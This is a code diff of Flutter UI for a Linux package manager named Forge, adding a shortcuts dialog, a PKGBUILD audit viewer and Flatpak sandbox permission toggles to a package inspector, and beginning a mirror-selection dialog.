Container(
|
||||
padding: const EdgeInsets.all(16),
|
||||
decoration: BoxDecoration(
|
||||
color: macosTheme.canvasColor,
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
border: Border.all(
|
||||
color: macosTheme.dividerColor,
|
||||
width: 0.8,
|
||||
),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
const Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
'Шпаргалка горячих клавиш (Shortcuts)',
|
||||
style: TextStyle(
|
||||
fontWeight: FontWeight.w600,
|
||||
fontSize: 13.5,
|
||||
),
|
||||
),
|
||||
SizedBox(height: 2),
|
||||
Text(
|
||||
'Быстрый поиск, смена экранов (Ctrl+1..7), F1 и навигация',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: CupertinoColors.systemGrey,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: () => KeyboardShortcutsDialog.show(context),
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.keyboard, size: 14),
|
||||
SizedBox(width: 6),
|
||||
Text('Показать хоткеи'),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
);
|
||||
},
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart' show Divider;
|
||||
import 'package:macos_ui/macos_ui.dart';
|
||||
|
||||
class KeyboardShortcutsDialog extends StatelessWidget {
|
||||
const KeyboardShortcutsDialog({super.key});
|
||||
|
||||
static Future<void> show(BuildContext context) {
|
||||
return showMacosSheet(
|
||||
context: context,
|
||||
barrierDismissible: true,
|
||||
builder: (context) => const KeyboardShortcutsDialog(),
|
||||
);
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final theme = MacosTheme.of(context);
|
||||
|
||||
final shortcuts = [
|
||||
(
|
||||
keys: ['Ctrl', 'K'],
|
||||
action: 'Быстрый поиск приложений (Spotlight)',
|
||||
category: 'Навигация',
|
||||
),
|
||||
(
|
||||
keys: ['Ctrl', '1…7'],
|
||||
action: 'Быстрый переход между экранами (Каталог, Установленные и др.)',
|
||||
category: 'Навигация',
|
||||
),
|
||||
(
|
||||
keys: ['Ctrl', '/'],
|
||||
action: 'Шпаргалка горячих клавиш (это окно)',
|
||||
category: 'Помощь',
|
||||
),
|
||||
(
|
||||
keys: ['F1'],
|
||||
action: 'Справка и горячие клавиши',
|
||||
category: 'Помощь',
|
||||
),
|
||||
(
|
||||
keys: ['Esc'],
|
||||
action: 'Закрыть модальное окно / отменить действие',
|
||||
category: 'Общее',
|
||||
),
|
||||
];
|
||||
|
||||
return Center(
|
||||
child: Container(
|
||||
width: 520,
|
||||
decoration: BoxDecoration(
|
||||
color: theme.canvasColor,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: CupertinoColors.black.withValues(alpha: 0.45),
|
||||
blurRadius: 28,
|
||||
offset: const Offset(0, 10),
|
||||
),
|
||||
],
|
||||
),
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
// Шапка
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(20, 18, 20, 14),
|
||||
child: Row(
|
||||
children: [
|
||||
Container(
|
||||
width: 36,
|
||||
height: 36,
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFF34C759).withValues(alpha: 0.15),
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
child: const Center(
|
||||
child: MacosIcon(
|
||||
CupertinoIcons.keyboard,
|
||||
color: Color(0xFF34C759),
|
||||
size: 20,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 12),
|
||||
const Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
'Горячие клавиши Forge',
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
SizedBox(height: 2),
|
||||
Text(
|
||||
'Удобное управление менеджером пакетов с клавиатуры',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: CupertinoColors.systemGrey,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
MacosIconButton(
|
||||
icon: const MacosIcon(CupertinoIcons.xmark, size: 16),
|
||||
onPressed: () => Navigator.of(context).pop(),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const Divider(height: 1, color: CupertinoColors.separator),
|
||||
|
||||
// Список шорткатов
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(20),
|
||||
child: Column(
|
||||
children: shortcuts.map((item) {
|
||||
return Padding(
|
||||
padding: const EdgeInsets.only(bottom: 12),
|
||||
child: Row(
|
||||
children: [
|
||||
Row(
|
||||
children: item.keys.map((k) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.only(right: 4),
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||
decoration: BoxDecoration(
|
||||
color: theme.dividerColor.withValues(alpha: 0.15),
|
||||
borderRadius: BorderRadius.circular(6),
|
||||
border: Border.all(
|
||||
color: CupertinoColors.white.withValues(alpha: 0.2),
|
||||
),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: CupertinoColors.black.withValues(alpha: 0.2),
|
||||
blurRadius: 2,
|
||||
offset: const Offset(0, 1),
|
||||
),
|
||||
],
|
||||
),
|
||||
child: Text(
|
||||
k,
|
||||
style: const TextStyle(
|
||||
fontSize: 12,
|
||||
fontWeight: FontWeight.bold,
|
||||
fontFamily: 'monospace',
|
||||
),
|
||||
),
|
||||
);
|
||||
}).toList(),
|
||||
),
|
||||
const SizedBox(width: 14),
|
||||
Expanded(
|
||||
child: Text(
|
||||
item.action,
|
||||
style: const TextStyle(fontSize: 13),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}).toList(),
|
||||
),
|
||||
),
|
||||
|
||||
const Divider(height: 1, color: CupertinoColors.separator),
|
||||
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(14),
|
||||
child: Row(
|
||||
mainAxisAlignment: MainAxisAlignment.end,
|
||||
children: [
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: () => Navigator.of(context).pop(),
|
||||
child: const Text('Понятно'),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,14 @@
|
||||
import 'dart:io';
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart' show SelectableText;
|
||||
import 'package:flutter/services.dart';
|
||||
import 'package:macos_ui/macos_ui.dart';
|
||||
import 'package:url_launcher/url_launcher.dart';
|
||||
import '../../rust/api/packages.dart';
|
||||
import '../../rust/frb_generated.dart';
|
||||
import '../../services/admin_service.dart';
|
||||
import '../../services/aur_pkgbuild_service.dart';
|
||||
import '../../services/flatpak_permissions_service.dart';
|
||||
|
||||
/// Модальное адаптивное окно просмотра свойств пакета («поверх окна каталога»)
|
||||
class PackageInspectorSheet extends StatefulWidget {
|
||||
@@ -51,6 +54,15 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
int _selectedTab = 0; // 0: Обзор, 1: Зависимости, 2: Файлы, 3: Откат
|
||||
String _fileSearchFilter = '';
|
||||
|
||||
// AUR PKGBUILD & Audit
|
||||
String? _pkgbuildContent;
|
||||
PkgbuildAuditResult? _pkgbuildAudit;
|
||||
bool _isLoadingPkgbuild = false;
|
||||
|
||||
// Flatpak Permissions
|
||||
FlatpakAppPermissions? _flatpakPermissions;
|
||||
bool _isLoadingFlatpakPerms = false;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
@@ -59,6 +71,61 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
_loadDetails();
|
||||
}
|
||||
|
||||
Future<void> _loadPkgbuild() async {
|
||||
setState(() {
|
||||
_isLoadingPkgbuild = true;
|
||||
_pkgbuildContent = null;
|
||||
_pkgbuildAudit = null;
|
||||
});
|
||||
|
||||
try {
|
||||
final text = await AurPkgbuildService.fetchPkgbuild(_currentPackageName);
|
||||
if (text != null) {
|
||||
final audit = AurPkgbuildService.audit(text);
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_pkgbuildContent = text;
|
||||
_pkgbuildAudit = audit;
|
||||
_isLoadingPkgbuild = false;
|
||||
});
|
||||
}
|
||||
} else {
|
||||
if (mounted) setState(() => _isLoadingPkgbuild = false);
|
||||
}
|
||||
} catch (_) {
|
||||
if (mounted) setState(() => _isLoadingPkgbuild = false);
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _loadFlatpakPerms() async {
|
||||
setState(() => _isLoadingFlatpakPerms = true);
|
||||
try {
|
||||
final perms = await FlatpakPermissionsService.getPermissions(_currentPackageName);
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_flatpakPermissions = perms;
|
||||
_isLoadingFlatpakPerms = false;
|
||||
});
|
||||
}
|
||||
} catch (_) {
|
||||
if (mounted) setState(() => _isLoadingFlatpakPerms = false);
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _toggleFlatpakPermission(FlatpakPermissionType type, bool val) async {
|
||||
final success = await FlatpakPermissionsService.setPermission(_currentPackageName, type, val);
|
||||
if (success) {
|
||||
await _loadFlatpakPerms();
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _resetFlatpakPermissions() async {
|
||||
final success = await FlatpakPermissionsService.resetPermissions(_currentPackageName);
|
||||
if (success) {
|
||||
await _loadFlatpakPerms();
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _loadDetails() async {
|
||||
setState(() {
|
||||
_isLoading = true;
|
||||
@@ -98,6 +165,12 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
_packageFiles = files;
|
||||
_isLoading = false;
|
||||
});
|
||||
|
||||
if (_currentBackend == BackendType.aur) {
|
||||
_loadPkgbuild();
|
||||
} else if (_currentBackend == BackendType.flatpak) {
|
||||
_loadFlatpakPerms();
|
||||
}
|
||||
}
|
||||
} catch (_) {
|
||||
if (mounted) {
|
||||
@@ -111,6 +184,7 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
_history.add((name: _currentPackageName, backend: _currentBackend));
|
||||
_currentPackageName = name;
|
||||
_currentBackend = backend;
|
||||
_selectedTab = 0;
|
||||
});
|
||||
_loadDetails();
|
||||
}
|
||||
@@ -503,6 +577,10 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
'Файлы (${_packageFiles.length})',
|
||||
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
|
||||
'Откат кэша (${_cachedVersions.length})',
|
||||
if (_currentBackend == BackendType.aur)
|
||||
'PKGBUILD & Аудит',
|
||||
if (_currentBackend == BackendType.flatpak)
|
||||
'Разрешения Sandbox',
|
||||
];
|
||||
|
||||
return Column(
|
||||
@@ -578,6 +656,10 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
_buildFilesTab(theme, d),
|
||||
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
|
||||
_buildDowngradeTab(theme, d),
|
||||
if (_currentBackend == BackendType.aur)
|
||||
_buildPkgbuildTab(theme),
|
||||
if (_currentBackend == BackendType.flatpak)
|
||||
_buildFlatpakPermissionsTab(theme),
|
||||
],
|
||||
),
|
||||
),
|
||||
@@ -890,6 +972,479 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildPkgbuildTab(MacosThemeData theme) {
|
||||
if (_isLoadingPkgbuild) {
|
||||
return const Center(
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
ProgressCircle(radius: 14),
|
||||
SizedBox(height: 12),
|
||||
Text(
|
||||
'Загрузка и аудит PKGBUILD из AUR...',
|
||||
style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
if (_pkgbuildContent == null) {
|
||||
return Center(
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
const MacosIcon(CupertinoIcons.exclamationmark_triangle, size: 36, color: CupertinoColors.systemOrange),
|
||||
const SizedBox(height: 10),
|
||||
Text('Не удалось получить PKGBUILD для $_currentPackageName'),
|
||||
const SizedBox(height: 14),
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: _loadPkgbuild,
|
||||
child: const Text('Повторить попытку'),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
final audit = _pkgbuildAudit;
|
||||
final lines = _pkgbuildContent!.split('\n');
|
||||
|
||||
Color bannerBg;
|
||||
Color bannerBorder;
|
||||
Color iconColor;
|
||||
IconData bannerIcon;
|
||||
String statusTitle;
|
||||
|
||||
if (audit == null || audit.isSafe) {
|
||||
bannerBg = CupertinoColors.systemGreen.withValues(alpha: 0.12);
|
||||
bannerBorder = CupertinoColors.systemGreen.withValues(alpha: 0.35);
|
||||
iconColor = CupertinoColors.systemGreen;
|
||||
bannerIcon = CupertinoIcons.checkmark_shield_fill;
|
||||
statusTitle = 'Аудит безопасности: БЕЗОПАСНО';
|
||||
} else if (audit.hasDanger) {
|
||||
bannerBg = CupertinoColors.systemRed.withValues(alpha: 0.12);
|
||||
bannerBorder = CupertinoColors.systemRed.withValues(alpha: 0.35);
|
||||
iconColor = CupertinoColors.systemRed;
|
||||
bannerIcon = CupertinoIcons.exclamationmark_shield_fill;
|
||||
statusTitle = 'Аудит безопасности: ОПАСНО!';
|
||||
} else {
|
||||
bannerBg = CupertinoColors.systemOrange.withValues(alpha: 0.12);
|
||||
bannerBorder = CupertinoColors.systemOrange.withValues(alpha: 0.35);
|
||||
iconColor = CupertinoColors.systemOrange;
|
||||
bannerIcon = CupertinoIcons.shield_lefthalf_fill;
|
||||
statusTitle = 'Аудит безопасности: ПРЕДУПРЕЖДЕНИЕ';
|
||||
}
|
||||
|
||||
// Собираем строки с проблемами в карту
|
||||
final issueMap = <int, SecurityIssue>{};
|
||||
if (audit != null) {
|
||||
for (final issue in audit.issues) {
|
||||
issueMap[issue.lineNumber] = issue;
|
||||
}
|
||||
}
|
||||
|
||||
return ListView(
|
||||
padding: const EdgeInsets.all(22),
|
||||
children: [
|
||||
// Карточка статуса аудита
|
||||
Container(
|
||||
padding: const EdgeInsets.all(14),
|
||||
decoration: BoxDecoration(
|
||||
color: bannerBg,
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
border: Border.all(color: bannerBorder),
|
||||
),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
MacosIcon(bannerIcon, color: iconColor, size: 22),
|
||||
const SizedBox(width: 10),
|
||||
Text(
|
||||
statusTitle,
|
||||
style: TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
fontSize: 14,
|
||||
color: iconColor,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
const SizedBox(height: 6),
|
||||
Text(
|
||||
audit?.summary ?? '',
|
||||
style: const TextStyle(fontSize: 12.5, height: 1.35),
|
||||
),
|
||||
if (audit != null && audit.issues.isNotEmpty) ...[
|
||||
const SizedBox(height: 10),
|
||||
...audit.issues.map((iss) => Padding(
|
||||
padding: const EdgeInsets.only(top: 4),
|
||||
child: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
'Строка ${iss.lineNumber}: ',
|
||||
style: TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
fontSize: 12,
|
||||
color: iss.severity == SecuritySeverity.danger
|
||||
? CupertinoColors.systemRed
|
||||
: CupertinoColors.systemOrange,
|
||||
),
|
||||
),
|
||||
Expanded(
|
||||
child: Text(
|
||||
iss.description,
|
||||
style: const TextStyle(fontSize: 12),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
)),
|
||||
],
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const SizedBox(height: 16),
|
||||
|
||||
// Панель действий с кодом
|
||||
Row(
|
||||
children: [
|
||||
_buildSectionHeader('КОД PKGBUILD (${lines.length} СТРОК)'),
|
||||
const Spacer(),
|
||||
MacosTooltip(
|
||||
message: 'Скопировать весь скрипт сборки в буфер',
|
||||
child: PushButton(
|
||||
controlSize: ControlSize.small,
|
||||
secondary: true,
|
||||
onPressed: () {
|
||||
Clipboard.setData(ClipboardData(text: _pkgbuildContent!));
|
||||
},
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.doc_on_clipboard, size: 12),
|
||||
SizedBox(width: 4),
|
||||
Text('Скопировать'),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 8),
|
||||
MacosTooltip(
|
||||
message: 'Обновить и перепроверить PKGBUILD',
|
||||
child: MacosIconButton(
|
||||
icon: const MacosIcon(CupertinoIcons.arrow_clockwise, size: 14),
|
||||
onPressed: _loadPkgbuild,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
|
||||
const SizedBox(height: 10),
|
||||
|
||||
// Контейнер кода PKGBUILD
|
||||
Container(
|
||||
decoration: BoxDecoration(
|
||||
color: CupertinoColors.black.withValues(alpha: 0.65),
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.1)),
|
||||
),
|
||||
child: SingleChildScrollView(
|
||||
scrollDirection: Axis.horizontal,
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(12),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: List.generate(lines.length, (idx) {
|
||||
final lineNum = idx + 1;
|
||||
final lineText = lines[idx];
|
||||
final issue = issueMap[lineNum];
|
||||
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(vertical: 1),
|
||||
color: issue != null
|
||||
? (issue.severity == SecuritySeverity.danger
|
||||
? CupertinoColors.systemRed
|
||||
: CupertinoColors.systemOrange)
|
||||
.withValues(alpha: 0.25)
|
||||
: CupertinoColors.transparent,
|
||||
child: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
SizedBox(
|
||||
width: 38,
|
||||
child: Text(
|
||||
'$lineNum',
|
||||
style: TextStyle(
|
||||
fontFamily: 'monospace',
|
||||
fontSize: 11.5,
|
||||
color: issue != null ? CupertinoColors.white : CupertinoColors.systemGrey,
|
||||
),
|
||||
),
|
||||
),
|
||||
SelectableText(
|
||||
lineText,
|
||||
style: TextStyle(
|
||||
fontFamily: 'monospace',
|
||||
fontSize: 12,
|
||||
color: issue != null
|
||||
? (issue.severity == SecuritySeverity.danger
|
||||
? const Color(0xFFFF6961)
|
||||
: const Color(0xFFFFB340))
|
||||
: (lineText.trim().startsWith('#')
|
||||
? CupertinoColors.systemGrey
|
||||
: const Color(0xFFE0E0E0)),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildFlatpakPermissionsTab(MacosThemeData theme) {
|
||||
if (_isLoadingFlatpakPerms) {
|
||||
return const Center(
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
ProgressCircle(radius: 14),
|
||||
SizedBox(height: 12),
|
||||
Text(
|
||||
'Загрузка разрешений песочницы...',
|
||||
style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
final perms = _flatpakPermissions;
|
||||
if (perms == null) {
|
||||
return Center(
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
const MacosIcon(CupertinoIcons.shield_slash, size: 36, color: CupertinoColors.systemGrey),
|
||||
const SizedBox(height: 10),
|
||||
Text('Разрешения для $_currentPackageName недоступны (приложение не установлено).'),
|
||||
const SizedBox(height: 14),
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: _loadFlatpakPerms,
|
||||
child: const Text('Проверить снова'),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
return ListView(
|
||||
padding: const EdgeInsets.all(22),
|
||||
children: [
|
||||
// Инфо баннер песочницы Flatseal
|
||||
Container(
|
||||
padding: const EdgeInsets.all(14),
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFF0A84FF).withValues(alpha: 0.1),
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
border: Border.all(color: const Color(0xFF0A84FF).withValues(alpha: 0.3)),
|
||||
),
|
||||
child: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const MacosIcon(CupertinoIcons.lock_shield_fill, color: Color(0xFF0A84FF), size: 24),
|
||||
const SizedBox(width: 12),
|
||||
Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const Text(
|
||||
'Песочница Flatpak (Sandbox Permissions)',
|
||||
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13.5),
|
||||
),
|
||||
const SizedBox(height: 4),
|
||||
const Text(
|
||||
'Вы можете гибко настраивать доступы приложения к сети, файловой системе и графическим серверам без прав администратора.',
|
||||
style: TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
|
||||
),
|
||||
if (perms.hasOverrides) ...[
|
||||
const SizedBox(height: 8),
|
||||
Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 3),
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFF0A84FF).withValues(alpha: 0.2),
|
||||
borderRadius: BorderRadius.circular(5),
|
||||
),
|
||||
child: const Text(
|
||||
'Активны пользовательские переопределения',
|
||||
style: TextStyle(fontSize: 11, fontWeight: FontWeight.bold, color: Color(0xFF0A84FF)),
|
||||
),
|
||||
),
|
||||
],
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const SizedBox(height: 18),
|
||||
_buildSectionHeader('СЕТЬ И ФАЙЛЫ'),
|
||||
const SizedBox(height: 10),
|
||||
|
||||
_buildPermissionToggle(
|
||||
title: 'Доступ к сети Интернет',
|
||||
subtitle: 'Разрешает входящие и исходящие соединения (network socket)',
|
||||
icon: CupertinoIcons.globe,
|
||||
value: perms.network,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.network, val),
|
||||
),
|
||||
_buildPermissionToggle(
|
||||
title: 'Домашняя папка пользователя (~/)',
|
||||
subtitle: 'Доступ к файлам и документам пользователя (--filesystem=home)',
|
||||
icon: CupertinoIcons.folder_fill,
|
||||
value: perms.filesystemHome,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHome, val),
|
||||
),
|
||||
_buildPermissionToggle(
|
||||
title: 'Все системные файлы (Корневая ФС)',
|
||||
subtitle: 'Полный доступ к системным файлам хоста (--filesystem=host)',
|
||||
icon: CupertinoIcons.desktopcomputer,
|
||||
value: perms.filesystemHost,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHost, val),
|
||||
),
|
||||
|
||||
const SizedBox(height: 16),
|
||||
_buildSectionHeader('ДИСПЛЕЙ И МУЛЬТИМЕДИА'),
|
||||
const SizedBox(height: 10),
|
||||
|
||||
_buildPermissionToggle(
|
||||
title: 'Дисплейный сервер Wayland',
|
||||
subtitle: 'Прямой графический протокол Wayland (--socket=wayland)',
|
||||
icon: CupertinoIcons.macwindow,
|
||||
value: perms.socketWayland,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketWayland, val),
|
||||
),
|
||||
_buildPermissionToggle(
|
||||
title: 'Дисплейный сервер X11',
|
||||
subtitle: 'Классический графический протокол X11/XWayland (--socket=x11)',
|
||||
icon: CupertinoIcons.tv,
|
||||
value: perms.socketX11,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketX11, val),
|
||||
),
|
||||
_buildPermissionToggle(
|
||||
title: 'Звук (PulseAudio / PipeWire)',
|
||||
subtitle: 'Воспроизведение и запись аудиопотоков (--socket=pulseaudio)',
|
||||
icon: CupertinoIcons.speaker_2_fill,
|
||||
value: perms.socketPulseaudio,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketPulseaudio, val),
|
||||
),
|
||||
_buildPermissionToggle(
|
||||
title: '3D-ускорение видеокарты (GPU)',
|
||||
subtitle: 'Прямой доступ к видеодрайверам DRI (--device=dri)',
|
||||
icon: CupertinoIcons.gamecontroller_fill,
|
||||
value: perms.deviceDri,
|
||||
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.deviceDri, val),
|
||||
),
|
||||
|
||||
const SizedBox(height: 20),
|
||||
|
||||
// Кнопка сброса
|
||||
Row(
|
||||
mainAxisAlignment: MainAxisAlignment.end,
|
||||
children: [
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: perms.hasOverrides ? _resetFlatpakPermissions : null,
|
||||
child: const Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
MacosIcon(CupertinoIcons.arrow_counterclockwise, size: 14),
|
||||
SizedBox(width: 6),
|
||||
Text('Сбросить к заводским разрешениям'),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildPermissionToggle({
|
||||
required String title,
|
||||
required String subtitle,
|
||||
required IconData icon,
|
||||
required bool value,
|
||||
required ValueChanged<bool> onChanged,
|
||||
}) {
|
||||
final theme = MacosTheme.of(context);
|
||||
return Container(
|
||||
margin: const EdgeInsets.only(bottom: 8),
|
||||
padding: const EdgeInsets.symmetric(horizontal: 14, vertical: 10),
|
||||
decoration: BoxDecoration(
|
||||
color: theme.dividerColor.withValues(alpha: 0.12),
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
border: Border.all(color: theme.dividerColor.withValues(alpha: 0.4), width: 0.8),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
Container(
|
||||
width: 32,
|
||||
height: 32,
|
||||
decoration: BoxDecoration(
|
||||
color: value ? const Color(0xFF0A84FF).withValues(alpha: 0.18) : CupertinoColors.systemGrey.withValues(alpha: 0.15),
|
||||
borderRadius: BorderRadius.circular(7),
|
||||
),
|
||||
child: Center(
|
||||
child: MacosIcon(
|
||||
icon,
|
||||
color: value ? const Color(0xFF0A84FF) : CupertinoColors.systemGrey,
|
||||
size: 16,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 12),
|
||||
Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
title,
|
||||
style: const TextStyle(fontWeight: FontWeight.w600, fontSize: 13),
|
||||
),
|
||||
const SizedBox(height: 2),
|
||||
Text(
|
||||
subtitle,
|
||||
style: const TextStyle(fontSize: 11, color: CupertinoColors.systemGrey),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
MacosSwitch(
|
||||
value: value,
|
||||
onChanged: onChanged,
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _buildSectionHeader(String title) {
|
||||
return Text(
|
||||
title,
|
||||
|
||||
@@ -0,0 +1,460 @@
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart' show Divider;
|
||||
import 'package:macos_ui/macos_ui.dart';
|
||||
import '../../services/admin_service.dart';
|
||||
import '../../services/reflector_service.dart';
|
||||
|
||||
class ReflectorMirrorDialog extends StatefulWidget {
|
||||
const ReflectorMirrorDialog({super.key});
|
||||
|
||||
static Future<void> show(BuildContext context) {
|
||||
return showMacosSheet(
|
||||
context: context,
|
||||
barrierDismissible: true,
|
||||
builder: (context) => const ReflectorMirrorDialog(),
|
||||
);
|
||||
}
|
||||
|
||||
@override
|
||||
State<ReflectorMirrorDialog> createState() => _ReflectorMirrorDialogState();
|
||||
}
|
||||
|
||||
class _ReflectorMirrorDialogState extends State<ReflectorMirrorDialog> {
|
||||
List<ReflectorCountry> _countries = [];
|
||||
List<String> _currentMirrors = [];
|
||||
List<String> _previewMirrors = [];
|
||||
String _selectedCountry = 'Germany';
|
||||
int _limit = 5;
|
||||
bool _httpsOnly = true;
|
||||
final String _sortBy = 'rate';
|
||||
|
||||
bool _isLoading = true;
|
||||
bool _isTesting = false;
|
||||
bool _isApplying = false;
|
||||
String? _statusMessage;
|
||||
bool _isSuccess = false;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
_loadInitialData();
|
||||
}
|
||||
